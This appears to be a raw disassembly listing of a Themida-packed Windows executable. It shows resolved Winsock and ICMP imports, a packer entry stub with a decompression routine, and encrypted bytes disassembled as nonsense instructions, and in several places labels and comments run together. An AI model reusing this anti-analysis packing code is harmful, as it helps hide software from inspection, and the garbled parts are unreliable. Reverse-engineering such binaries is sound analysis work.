		dd 9Eh dup(0)
		db 0
dword_4D6775	dd 0							; sub_426CE0+7Dw ...
		align 4
		dd 4Ah dup(0)
		db 0
byte_4D68A5	db 3 dup(0)		; DATA XREF: sub_585452+86B3o
		dd 1E8Fh dup(0)
		db 0
byte_4DE2E5	db 3 dup(0)		; DATA XREF: ___:00419E93o
					; sub_419F50+13o
		dd 1EB9h dup(0)
		db 3 dup(0)
byte_4E5DCF	db 0			; DATA XREF: sub_426A60+1Do
		dd 21h dup(0)
		db 0
byte_4E5E55	db 3 dup(0)		; DATA XREF: ___:00419EA3o
		dd 235h	dup(0)
		db 3 dup(0)
byte_4E672F	db 0			; DATA XREF: sub_426A60+2Fo
		dd 1D5h	dup(0)
byte_4E6E84	db 0			; DATA XREF: sub_404C70+299w
					; sub_40FF60:loc_40FFA2r ...
byte_4E6E85	db 3 dup(0)		; DATA XREF: sub_404C70+235o
					; sub_404C70+87Ao ...
		dd 4 dup(0)
		db 2 dup(0)
word_4E6E9A	dw 0			; DATA XREF: sub_404C70+2D4o
					; ___:0040866Bo ...
		dd 0Fh dup(0)
		db 0
byte_4E6ED9	db 0			; DATA XREF: sub_41F860+31w
					; sub_41F860+47w ...
		db 0
byte_4E6EDB	db 0			; DATA XREF: sub_418490+21o
					; sub_41D830+341o ...
		dd 751Eh dup(0)
dword_504354	dd 0AC6h dup(0)	dword_506E6C	dd 1000h dup(0)						; ___:00419A9Do ...
dword_50AE6C	dd 333h	dup(0)						; ___:00419AB8o ...
dword_50BB38	dd 0							; sub_41A010+1Br ...
		dd 3 dup(0)
dword_50BB48	dd 0							; ___:0041FB3Dw ...
dword_50BB4C	dd 0							; sub_41FA90+2Aw ...
dword_50BB50	dd 0		dword_50BB54	dd 0							; ___:0041FB5Bw
dword_50BB58	dd 0		dword_50BB5C	dd 0							; ___:0041FB67w ...
dword_50BB60	dd 0							; ___:0041FB6Dw ...
dword_50BB64	dd 0							; ___:00420DA9o
dword_50BB68	dd 0							; sub_41FA90:loc_41FAB4r ...
dword_50BB6C	dd 0							; ___:0041FB81w
dword_50BB70	dd 0							; sub_420530+41w ...
dword_50BB74	dd 0							; sub_420530+7Fr
dword_50BB78	dd 0							; sub_420530+92r ...
dword_50BB7C	dd 0							; sub_420530+148r
		dd 3 dup(0)
dword_50BB8C	dd 0							; ___:0041C1A5o
dword_50BB90	dd 0							; sub_423720+5r ...
dword_50BB94	dd 0							; ___:00423EB1r ...
		dd 7CEh	dup(0)
dword_50DAD0	dd 6 dup(0)						; ___:00423DB2o ...
dword_50DAE8	dd 196h	dup(0)						; sub_423660+6Do
dword_50E140	dd 0		word_50E144	dw 0			; DATA XREF: sub_424E90+A9r
		align 4
byte_50E148	db 0			; DATA XREF: sub_4254E0:loc_425540r
					; sub_4254E0+97w
		align 4
dword_50E14C	dd 0		; resolved to->IPHLPAPI.IcmpSendEcho					; sub_426820+D9r
dword_50E150	dd 0		; resolved to->IPHLPAPI.IcmpCreateFile					; sub_426820+45r
dword_50E154	dd 0		; resolved to->IPHLPAPI.IcmpCloseHandle					; sub_426820+54r ...
		dd 0
dword_50E15C	dd 80h dup(0)						; sub_426A60+129o
dword_50E35C	dd 0		dword_50E360	dd 0				dd 1Dh dup(0)
dword_50E3D8	dd 0							; ___:0042B11Dr ...
dword_50E3DC	dd 0							; sub_42CB10:loc_42CBA6r ...
dword_50E3E0	dd 0		; resolved to->WS2_32.connect					; sub_431280+2Dr ...
dword_50E3E4	dd 0		dword_50E3E8	dd 0							; sub_430270r ...
dword_50E3EC	dd 0		dword_50E3F0	dd 0							; sub_42F6B0+111w ...
dword_50E3F4	dd 0							; sub_42F6B0+F6r ...
dword_50E3F8	dd 0							; ___:loc_4303B0r
dword_50E3FC	dd 0		; resolved to->KERNEL32.InterlockedCompareExchange					; sub_430FE0+2Cr ...
		dd 2 dup(0)
		dd 0
		dd 13Dh	dup(0)
dword_50E900	dd 10h dup(0)						; sub_430180:loc_4301B0o ...
dword_50E940	dd 8 dup(0)						; sub_42F540+25o ...
dword_50E960	dd 8 dup(0)						; sub_430690+25o ...
dword_50E980	dd 8 dup(0)						; sub_431560+84o ...
dword_50E9A0	dd 8 dup(0)						; sub_431560+8Bo ...
dword_50E9C0	dd 9 dup(0)						; sub_42F6B0:loc_42F7C7o ...
		dd 0FFFFFFFFh, 3 dup(0)
		dd 0FFFFFFFFh, 182h dup(0)
		dd 5 dup(68899C8h), 5 dup(5E5E9809h), 5	dup(30DDB90Dh)
		dd 5 dup(612EB6F6h), 5 dup(4913E5BEh), 5 dup(41A5EC5Fh)
		dd 5 dup(61A98A7Ch), 5 dup(4AA86ABh), 5	dup(563C5E04h)
		dd 5 dup(7915C306h), 5 dup(517A6FE4h), 1Eh dup(0)
		dd 41A5EC5Fh, 10h dup(0)
		dd 517A6FE4h, 58h dup(0)
		dd 612EB6F6h, 1Bh dup(0)
		dd 563C5E04h, 14h dup(0)
		dd 5E5E9809h, 52h dup(0)
		dd 68899C8h, 1Bh dup(0)
; ---------------------------------------------------------------------------
		push	es
		retn
; ---------------------------------------------------------------------------
		dw 7915h
		dd 0Bh dup(0)
		dd 61A98A7Ch, 0Ch dup(0)
		dd 4913E5BEh, 2Bh dup(0)
		dd 4AA86ABh, 11h dup(0)
		dd 30DDB90Dh, 0Ah dup(0)
		dd 28A079Ch, 28B0000h, 28C0000h
dword_50F710	dd 28C1374h			dd 28C14D6h
dword_50F718	dd 28C1744h			dd 28C1AC8h, 28D0000h
dword_50F724	dd 28E0000h			dd 28F0000h, 28F03CCh, 28F079Eh, 28F0C48h
dword_50F738	dd 2900000h						; sub_40E7A0+25Ar ...
dword_50F73C	dd 29004B6h	dword_50F740	dd 2900728h			dd 2900956h, 2910000h
dword_50F74C	dd 2910304h						; sub_40ED70+15Er ...
		dd 291056Eh
dword_50F754	dd 2920000h						; sub_40E7A0+22Cr
		dd 2930000h
dword_50F75C	dd 2940000h						; sub_4207E0+285r ...
		dd 2950000h
dword_50F764	dd 29510AFh						; sub_40E7A0+24Cr
		dd 10h dup(0)
		dd 76F36C5Bh, 0Bh dup(0)
		dd 2700000h, 2700141h, 2710000h, 271077Ch, 2710987h, 2710CFAh
		dd 2710EB0h, 2720000h, 2720563h, 27209E1h, 2720C75h, 2730000h
		dd 2730688h, 27306C4h, 2730A36h, 2740000h, 27403B9h, 2740717h
		dd 27408C8h, 2740CCDh, 2750000h, 27505EFh, 2750698h, 2750AADh
		dd 2750D03h, 2760000h, 27601FEh, 2760442h, 276066Eh, 2760798h
		dd 27608D3h, 2760923h
dword_50F858	dd 2770000h	dword_50F85C	dd 2770642h	dword_50F860	dd 2770794h			dd 7C901005h, 7C9010EDh, 27709A7h, 27709E7h
dword_50F874	dd 2780000h						; sub_420530+FEr
		dd 27805E5h, 2790000h, 2790473h, 2790862h, 27A0000h, 27B0000h
		dd 27B0888h, 27C0000h, 27D0000h, 27D0A0Ch
dword_50F8A0	dd 27E0000h						; sub_420530:loc_42057Cr ...
dword_50F8A4	dd 27E08AFh						; sub_40FF60+47r ...
		dd 27E095Dh, 27E0AE7h, 27F0000h, 2800000h, 28011B1h, 2810000h
		dd 2820000h
dword_50F8C4	dd 282180Ah			dd 2821A22h, 2830000h
dword_50F8D0	dd 28302B0h						; sub_41B4B0+2Fr ...
		dd 283040Fh
dword_50F8D8	dd 2830BD8h						; sub_4203D0+2Er ...
		dd 2840000h, 28402D7h, 2850000h
dword_50F8E8	dd 28503A0h			dd 285066Eh, 2860000h, 2870000h, 2880000h, 2880BF0h, 2890000h
		dd 28907DDh, 2890DF1h
		dd 28A0000h
		dd 1Ah dup(0)
		dd 71B2578Ch, 71B25099h, 0Bh dup(0)
dword_50F9AC	dd 760AC190h			dd 76085AE4h, 760976AFh, 7608B84Ch, 76081F67h, 760A0430h
		dd 7608F485h, 7609202Eh, 760A044Fh, 760A036Bh, 0Dh dup(0)
		dd 77C4EE2Fh, 77C35C94h, 77C3537Ch, 77C1F1DBh, 77C1F1A4h
		dd 77C623D8h, 77C4D675h, 77C227FAh, 77C1EEEBh, 77C617ACh
		dd 77C32DAEh, 77C39E9Ah, 77C34DF8h, 77C34E51h, 77C21868h
		dd 77C40BB1h, 77C36D74h, 77C3619Ch, 77C49113h, 77C3A307h
		dd 77C3A3DBh, 77C4186Ah
dword_50FA60	dd 77C3F931h	; resolved to->MSVCRT.sprintf					; sub_42D2C0+53r ...
dword_50FA64	dd 77C1F2BCh	; resolved to->MSVCRT._errno		dd 77C371FAh, 77C36DF2h, 77C39D67h, 77C1C561h
dword_50FA78	dd 77C5F988h	; resolved to->MSVCRT._pctype; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0C0h, 0C2h, 77h
dword_50FA80	dd 77C40E13h	; resolved to->MSVCRT.fprintfdword_50FA84	dd 77C5FC80h	; resolved to->MSVCRT._iob					; sub_42CB10+4Ar ...
; ---------------------------------------------------------------------------
		imul	dh
		retn
; ---------------------------------------------------------------------------
		db 77h
		dd 77C41B72h
dword_50FA90	dd 77C47BE0h	; resolved to->MSVCRT.strrchrdword_50FA94	dd 77C4173Bh	; resolved to->MSVCRT.fwritedword_50FA98	dd 77C4139Ch	; resolved to->MSVCRT.fseekdword_50FA9C	dd 77C4624Eh	; resolved to->MSVCRT._stricmpdword_50FAA0	dd 77C41574h	; resolved to->MSVCRT.ftelldword_50FAA4	dd 77C411FBh	; resolved to->MSVCRT.fread		dd 77C40E76h
dword_50FAAC	dd 77C47E61h	; resolved to->MSVCRT.wcscat					; ___:0041C2DAr
; ---------------------------------------------------------------------------
		adc	al, dh
		retn
; ---------------------------------------------------------------------------
		db 77h
		dd 77C40AB1h, 77C4FA10h
dword_50FABC	dd 77C371D3h	; resolved to->MSVCRT.rand					; sub_41B950+17Er ...
		dd 77C371BCh
dword_50FAC4	dd 77C2C21Bh	; resolved to->MSVCRT.free					; sub_42DFD0+34r ...
		dd 77C2C407h
dword_50FACC	dd 77C47920h	; resolved to->MSVCRT.strncat		dd 77C39E7Eh
dword_50FAD4	dd 77C47A50h	; resolved to->MSVCRT.strncmp					; sub_42CB10+90r
dword_50FAD8	dd 77C3FA76h	; resolved to->MSVCRT._snprintf		db 90h
		db 0CFh, 0C1h, 77h
dword_50FAE0	dd 77C47660h	; resolved to->MSVCRT.strchr		db 8Ah,	0FFh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 77h
; ---------------------------------------------------------------------------
		mul	byte ptr [esi]
		retn	0E777h
; ---------------------------------------------------------------------------
		db 14h,	0C2h, 77h
		dd 77C29CC5h
dword_50FAF4	dd 77C47CE5h	; resolved to->MSVCRT.strtok					; sub_41BC90+5Dr
dword_50FAF8	dd 77C47C60h	; resolved to->MSVCRT.strstr					; sub_40FF60+1126r ...
dword_50FAFC	dd 77C47A90h	; resolved to->MSVCRT.strncpy					; ___:00419BDAr
		dd 77C29CDDh, 77C293C7h
dword_50FB08	dd 77C1BF18h	; resolved to->MSVCRT.atoi					; sub_422A40+203r ...
		dd 77C35F0Dh, 77C46170h
dword_50FB14	dd 77C5F97Ch	; resolved to->MSVCRT.__mb_cur_max		dd 77C46125h
		dd 77C46320h
		dd 19h dup(0)
		dd 76BF215Ah, 76BF1F1Ch, 76BF3A9Ah, 0Bh	dup(0)
		dd 7CA41110h, 0Bh dup(0)
		db 0CCh
		db 3, 8Ah, 2
off_50FBF0	dd offset sub_5EE1E5	; DATA XREF: ___:00419EBDr
					; sub_419F50+2Dr ...
		dd 0Bh dup(0)
dword_50FC20	dd 71AB2B66h	; resolved to->WS2_32.ntohs		dd 71AB951Eh, 71AB3E00h
dword_50FC2C	dd 71AB2B66h	; resolved to->WS2_32.ntohs					; sub_425020:loc_4250C9r ...
dword_50FC30	dd 71AB3B91h	; resolved to->WS2_32.socket					; sub_42A5F0:loc_42A6ABr
		dd 71AB406Ah, 71AB4428h, 71AB664Dh, 71AB50C8h
dword_50FC44	dd 71AB94DCh	; resolved to->WS2_32.WSAGetLastError		dd 71AB4544h, 71AB88D3h
dword_50FC50	dd 71AB4519h	; resolved to->WS2_32.ioctlsocket					; sub_42B540+E8r
		dd 71AB2BC0h
dword_50FC58	dd 71AB2D0Fh	; resolved to->WS2_32.recvfromdword_50FC5C	dd 71AB2C69h	; resolved to->WS2_32.sendto					; sub_42A5F0+F9r
		dd 71AB3EA1h, 71AB8769h, 71AB4489h, 71ABE6EBh, 71AC0BDEh
		dd 71AB2A5Eh
dword_50FC78	dd 71AB3F41h	; resolved to->WS2_32.inet_ntoa		dd 71AB2BC0h
dword_50FC80	dd 71AB2DC0h	; resolved to->WS2_32.select					; sub_41A6D0+48r ...
dword_50FC84	dd 71AC1028h	; resolved to->WS2_32.acceptdword_50FC88	dd 71AB9639h	; resolved to->WS2_32.closesocket					; sub_41F860+198r ...
dword_50FC8C	dd 71AB428Ah	; resolved to->WS2_32.send					; ___:004216E1r ...
dword_50FC90	dd 71AB615Ah	; resolved to->WS2_32.recv					; sub_427AD0+18Dr ...
		dd 71AB2BF4h, 71ABE479h, 71AC0B50h, 71AB4FD4h, 11h dup(0)
		dd 76D6AC1Dh, 4C5h dup(0)
___		ends

; Section 2. (virtual address 00111000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00111000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rsrc___	segment	para public 'DATA' use32
		assume cs:_rsrc___
		;org 511000h
		align 2000h
_rsrc___	ends

; Section 3. (virtual address 00112000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00112000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata__	segment	para public 'DATA' use32
		assume cs:_idata__
		;org 512000h
dword_512000	dd 7C801A24h	; resolved to->KERNEL32.CreateFileAaB_0		db 'зм│|',0
		align 4
aE		db 'оe',9,']',0
		align 10h
		dd 112050h, 112000h, 3 dup(0)
		dd 112079h, 11200Ch, 5 dup(0)
aKernel32_dll_1	db 'KERNEL32.dll',0
		db 2 dup(0), 43h
aReatefilea	db 'reateFileA',0
		align 4
		dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
		dd 6C642E32h, 6Ch
aInitcommoncont	db 'InitCommonControls',0
		align 1000h
_idata__	ends

; Section 4. (virtual address 00113000)
; Virtual size			: 00106000 (1073152.)
; Section size in file		: 00106000 (1073152.)
; Offset to raw	data for section: 00113000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
Themida_	segment	para public 'CODE' use32
		assume cs:Themida_
		;org 513000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
		dd 6D8FD51Ch, 41FE6h, 5EA04h, 158172h, 0
; ---------------------------------------------------------------------------
		mov	eax, 0
		pusha
		or	eax, eax
		jz	short loc_513086
		call	$+5
		pop	eax
		add	eax, 53h
		cmp	byte ptr [eax],	0E9h
		jnz	short loc_513041
		popa
		jmp	short loc_513076
; ---------------------------------------------------------------------------
		db 0DBh, 2Dh, 37h
		db 30h,	51h, 0
		dt 9.2233720368547758075e18
; ---------------------------------------------------------------------------


loc_513041:				; CODE XREF: Themida_:0051302Cj
		call	$+5
		pop	eax
		and	eax, 0FFFFF000h
		xor	edi, edi


loc_51304E:				; CODE XREF: Themida_:00513072j
		mov	bx, 5A19h
		add	bx, 34h
		cmp	[eax], bx
		jnz	short loc_51306D
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		mov	ebx, 44E9h
		add	ebx, 67h
		cmp	[edx], ebx
		jz	short loc_513074


loc_51306D:				; CODE XREF: Themida_:00513059j
		sub	eax, 1000h
		jmp	short loc_51304E
; ---------------------------------------------------------------------------


loc_513074:				; CODE XREF: Themida_:0051306Bj
		mov	edi, eax


loc_513076:				; CODE XREF: Themida_:0051302Fj
		jmp	loc_513265
; ---------------------------------------------------------------------------
		add	eax, edi
		mov	ecx, 11326Ah
		add	ecx, edi
		jmp	short loc_513090
; ---------------------------------------------------------------------------


loc_513086:				; CODE XREF: Themida_:0051301Cj
		mov	eax, offset loc_57BADA
		mov	ecx, offset word_51326A


loc_513090:				; CODE XREF: Themida_:00513084j
		push	eax
		push	ecx
		call	sub_51311B
		call	$+5
		pop	eax
		sub	eax, 26h
		mov	ecx, 1EFh
		mov	byte ptr [eax],	0E9h
		sub	ecx, 5
		mov	[eax+1], ecx
		popa
		jmp	loc_513265
; ---------------------------------------------------------------------------
		dw 9328h
		dd 788AE4C9h, 815EBCh, 63432DA8h, 0F065446Ch, 3ADC23BEh
		dd 759CA4D8h, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh
		dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh
		dd 1848C86h, 662A4924h,	1799B7DEh, 9122458Bh, 0D8B164C8h
		dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h
		db 0C8h, 0E4h, 0F2h

; =============== S U B	R O U T	I N E =======================================



sub_51311B	proc near		; CODE XREF: Themida_:00513092p

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	edi, [esp+20h+arg_4]
		cld
		mov	dl, 80h


loc_513127:				; CODE XREF: sub_51311B:loc_51313Bj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2


loc_513132:				; CODE XREF: sub_51311B+7Aj
					; sub_51311B+C3j ...
		add	dl, dl
		jnz	short loc_51313B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_51313B:				; CODE XREF: sub_51311B+19j
		jnb	short loc_513127
		add	dl, dl
		jnz	short loc_513146
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_513146:				; CODE XREF: sub_51311B+24j
		jnb	short loc_513197
		xor	eax, eax
		add	dl, dl
		jnz	short loc_513153
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_513153:				; CODE XREF: sub_51311B+31j
		jnb	loc_513238
		add	dl, dl
		jnz	short loc_513162
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_513162:				; CODE XREF: sub_51311B+40j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_51316D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_51316D:				; CODE XREF: sub_51311B+4Bj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_513178
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_513178:				; CODE XREF: sub_51311B+56j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_513183
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_513183:				; CODE XREF: sub_51311B+61j
		adc	eax, eax
		jz	short loc_51318D
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_51318D:				; CODE XREF: sub_51311B+6Aj
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	short loc_513132
; ---------------------------------------------------------------------------


loc_513197:				; CODE XREF: sub_51311B:loc_513146j
		mov	eax, 1


loc_51319C:				; CODE XREF: sub_51311B:loc_5131B0j
		add	dl, dl
		jnz	short loc_5131A5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5131A5:				; CODE XREF: sub_51311B+83j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_5131B0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5131B0:				; CODE XREF: sub_51311B+8Ej
		jb	short loc_51319C
		sub	eax, ebx
		mov	ebx, 1
		jnz	short loc_5131E3
		mov	ecx, 1


loc_5131C0:				; CODE XREF: sub_51311B:loc_5131D4j
		add	dl, dl
		jnz	short loc_5131C9
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5131C9:				; CODE XREF: sub_51311B+A7j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_5131D4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5131D4:				; CODE XREF: sub_51311B+B2j
		jb	short loc_5131C0
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_513132
; ---------------------------------------------------------------------------


loc_5131E3:				; CODE XREF: sub_51311B+9Ej
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_5131F1:				; CODE XREF: sub_51311B:loc_513205j
		add	dl, dl
		jnz	short loc_5131FA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5131FA:				; CODE XREF: sub_51311B+D8j
		adc	ecx, ecx
		add	dl, dl


loc_5131FE:				; CODE XREF: Themida_:00513271j
		jnz	short loc_513205
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_513205:				; CODE XREF: sub_51311B:loc_5131FEj
		jb	short loc_5131F1
		cmp	eax, 7D00h
		jnb	short loc_513228
		cmp	eax, 500h
		jb	short loc_513223
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_513132
; ---------------------------------------------------------------------------


loc_513223:				; CODE XREF: sub_51311B+F8j
		cmp	eax, 7Fh
		ja	short loc_51322B


loc_513228:				; CODE XREF: sub_51311B+F1j
		add	ecx, 2


loc_51322B:				; CODE XREF: sub_51311B+10Bj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_513132
; ---------------------------------------------------------------------------


loc_513238:				; CODE XREF: sub_51311B:loc_513153j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_513259
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_513132
; ---------------------------------------------------------------------------


loc_513259:				; CODE XREF: sub_51311B+125j
		sub	edi, [esp+20h+arg_4]
		mov	[esp+20h+var_4], edi
		popa
		retn	8
sub_51311B	endp

; ---------------------------------------------------------------------------


loc_513265:				; CODE XREF: Themida_:loc_513076j
					; Themida_:005130B1j
		jmp	loc_57BADA
; ---------------------------------------------------------------------------
word_51326A	dw 38E9h		; DATA XREF: Themida_:0051308Bo
; ---------------------------------------------------------------------------
		movsb
		xor	al, 57h
		add	esp, edi
		jno	short loc_5131FE
		test	[edi-41h], bh
		enter	0FFFFB898h, 47h
		mov	edx, 0E13522AFh
		sbb	ch, dh
		cld
		add	[edi+1A37D58h],	esp
		pop	edi
		jno	short loc_513303
		retn	551Dh
; ---------------------------------------------------------------------------
		dw 52C0h
		dd 39747365h, 419C7261h, 9F2E5E70h, 0AB473878h,	1FE19222h
		dd 962122EFh, 855ED790h, 54F05501h, 6D650768h, 8616469h
		dd 1736D15Fh, 0A57FD708h, 4B333839h, 22897001h,	0F51DC21Dh
		dd 1004D00Eh, 9B97FABAh, 0D611FC4Ch, 0FAF42F03h, 240162A4h
		dd 0FFBB102Eh, 0C8C58BF1h, 0E87060D4h, 815D88h,	1234B3EDh
		dd 79958906h, 0B50D1D61h, 851021A1h
		db 0FDh, 18h, 80h
; ---------------------------------------------------------------------------


loc_513303:				; CODE XREF: Themida_:00513289j
		cmp	dword ptr [ebp-1FD1AEE0h], 74h
		sbb	al, 0Ch
		mov	ebp, eax
		mov	esp, edx
		mov	eax, 0EFC22D69h
		sbb	al, 70h
		inc	esp
		and	al, 73h
		db	3Eh
		leave
		test	[ecx], al
		push	45h
		call	near ptr 687AB4C8h
		call	far ptr	40DFh:0E9078374h
		or	ah, ds:0A7A894Bh
		inc	esp
		aad	0E9h
		sub	[edx+eax], edx
		in	al, dx
		pop	edi
		inc	eax
		push	ebp
		mov	ebp, esp
		sub	dword ptr [ebx], 0FFFFFFC4h
		fsubr	st, st(6)
		add	[edx-7Fh], ebx
		jmp	far ptr	0C7DAh:8B0035A1h
; ---------------------------------------------------------------------------
		db 24h,	45h, 0D8h
		dd 400E6C08h, 81088963h, 1980F37Dh, 200F741Dh, 0B83FC08h
		dd 12FF45CCh, 0E1EB3143h, 0BA61DC36h, 0C2C90A26h, 81034604h
		dd 47FF7CC4h, 88714902h, 8002458Dh, 0C7085D8Bh,	50198885h
		dd 10A8D94h, 1888C3D1h,	0B518941h, 644BD81h, 0E3755D05h
		dd 518D2728h, 75D864BAh, 0E8A0980h, 5B20F4BBh, 5437ABB8h
		dd 0D0D3781Fh, 4B080F98h, 0AF77675h, 4647C3AFh,	0C546484Ah
		dd 0D14245F9h, 0E8A7461h, 0B1BFF0D0h, 41FC45EEh, 4704EB4Dh
		dd 804691ADh, 0F7408A3Eh, 346D84BAh, 320C7DCCh,	0F83E7FEBh
		dd 12906D19h, 0F40E99F0h, 0C14A1050h, 4F02865h,	0D1F807D6h
		dd 2CC203E0h, 0DB033328h, 80301C8Ah, 0A7299FBh,	77390A87h
		dd 0DEEBA705h, 6114224Ch, 0ACF0DFEh, 1E08ED66h,	0AC3E9EBh
		dd 1A8610D5h, 0A0B7241h, 677461Bh, 143D424h, 0EC0EF05Dh
		dd 637D83F4h, 66B07202h, 0A576C00Ch, 26C8AAECh,	8DC039F8h
		dd 3BA840EDh, 0F15FC55h, 38BD7882h, 38AA37B0h, 81CBACAh
		dd 7015B91Ch, 30BD08FCh, 0FFE0037h, 0FA754947h,	0BB22B938h
		dd 1BB806Ah, 82F11231h,	2BBEDEBh, 57868E00h, 51071339h
		dd 367E6570h, 268AB98Bh, 0C8E927DEh, 0C98599Dh,	0B2B90Dh
		dd 0E2C0A7Fh, 2A5A7011h, 0FF8B5200h, 0BCC4825Ch, 610C010Bh
		dd 0E953016Bh, 21398F04h, 8A80FC5Bh, 82052555h,	1508CC45h
		dd 533F4321h, 2CF906C4h, 64C67C3h, 0C010A1AAh, 0F16C96DCh
		dd 8C5158F8h, 11C45939h, 1D88458Ah, 0C4514187h,	0FBC947FEh
		dd 0B8BE1510h, 0EC62C074h, 0CB8CC5D2h, 12C03470h, 765B4E39h
		dd 0B810030Fh, 0D1043D51h, 46B33BE3h, 975500Eh,	0E11AC2Eh
		dd 0E4EC0548h, 20069065h, 5C58497h, 6A968E15h, 0C25323B4h
		dd 29A3C204h, 0C636718Ch, 0ECF20EE7h, 812BC3FFh, 22000477h
		dd 84C1341Dh, 647533F9h, 1D3FBC20h, 0EF990ADDh,	80430230h
		dd 7F8C89ECh, 90FFCC9Fh, 0EA45CF40h, 625060E9h,	8C5200C4h
		dd 8211254Dh, 0CD84B1AAh, 8845AABh, 1A915613h, 0EE825E82h
		dd 3B81AA75h, 8A3E3311h, 8113B9A8h, 434A9723h, 38EC8103h
		dd 170307EAh, 0E23D8FB4h, 8D67E006h, 460890DAh,	0C45E1C56h
		dd 0C46D8A88h, 5646401Ch, 0A63FC4h, 645076B1h, 676103CEh
		dd 10F48C0Eh, 0D32BFB87h, 0E2818862h, 82EC05h, 0D19D5CF0h
		dd 0C3EBB2Eh, 622D0700h, 8610CA0Bh, 0EA1BA031h,	0D706A00Dh
		dd 336900F9h, 1693AEE8h, 0F3020CD5h, 0EA86C862h, 288860Fh
		dd 7652492Fh, 32B75C3Eh, 2849515h, 1EE0816Dh, 41E41D93h
		dd 0BE9DA8Ch, 0FB0E0F80h, 883C834Eh, 0C6066403h, 8EA42h
		dd 1FE5BD1Fh, 26B17624h, 868A5C06h, 1D5018F2h, 8C1EF482h
		dd 2185980h, 0ABE93240h, 0F2F490F9h, 401F0009h,	937D5929h
		dd 0F806436Fh, 0F9088918h, 60D13AC2h, 4AC88286h, 0EA303666h
		dd 1B764113h, 11F2004Ch, 66ABDD64h, 9E00FEDCh, 0B49C1C3Ah
		dd 0F5342259h, 91D2C743h, 0C5202005h, 0C18203D0h, 11A84E14h
		dd 1005D1F3h, 5AE1C95Bh, 76C7CF00h, 185DCAD6h, 7112E954h
		dd 0AC07634Ah, 0E45FE073h, 2BF3D0A0h, 681A00EDh, 5C05BA6Eh
		dd 4EC0625Bh, 0F961811h, 67513FFAh, 908AA10Ch, 0C3A48883h
		dd 0F306E3D8h, 0FEEC7C84h, 0A0C6A48Ah, 0F6AA1DCh, 0EA4C7529h
		dd 0BDBB19D8h, 0A8045D00h, 0A77B8650h, 832200CDh, 82206AC8h
		dd 9C709DFCh, 1C2620E1h, 0EAEB818Ah, 29CDB651h,	8911580h
		dd 0A8E628B1h, 7235F207h, 2600CC5Ah, 749674F6h,	60EA2C3Dh
		dd 15AC8093h, 16C4858Dh, 7813C00h, 6E19A169h, 0A39D00B5h
		dd 0E3E56C29h, 0BB078487h, 5D4B83A0h, 98A69150h, 955A3A04h
		dd 9FA5C93h, 3180A282h,	5836F2Dh, 0E200E7FAh, 5664D484h
		dd 1B3B438Fh, 51D53EF5h, 0BC917199h, 0C960A20h,	0A2000CD8h
		dd 0F3E10F83h, 0BE050E7Fh, 0DC60604Eh, 19E4964h, 0FF09203h
		dd 0F07165C5h, 18911962h, 40E65A93h, 61206ED4h,	6096740Dh
		dd 64C959D6h, 58004163h, 55EA8ACEh, 129A44A7h, 18972E1Eh
		dd 0F6BC29BCh, 0D8DF49C0h, 0A64633h, 39106CE6h,	54863674h
		dd 3678E58h, 5D93A4B1h,	423103E4h, 89A57E09h, 68D983C3h
		dd 8E1809Eh, 0C41E6E5Ah, 12BD18F6h, 0C37C1888h,	0A88A7800h
		dd 32B18535h, 262206B7h, 38870BF3h, 5F75EAE6h, 486DE718h
		dd 0F58310h, 0D9564DDFh, 8BE567F2h, 0C76B3Dh, 363C7F12h
		dd 7863A55Eh, 30A60389h, 0CF8F0D9Eh, 90034FD7h,	41C3A252h
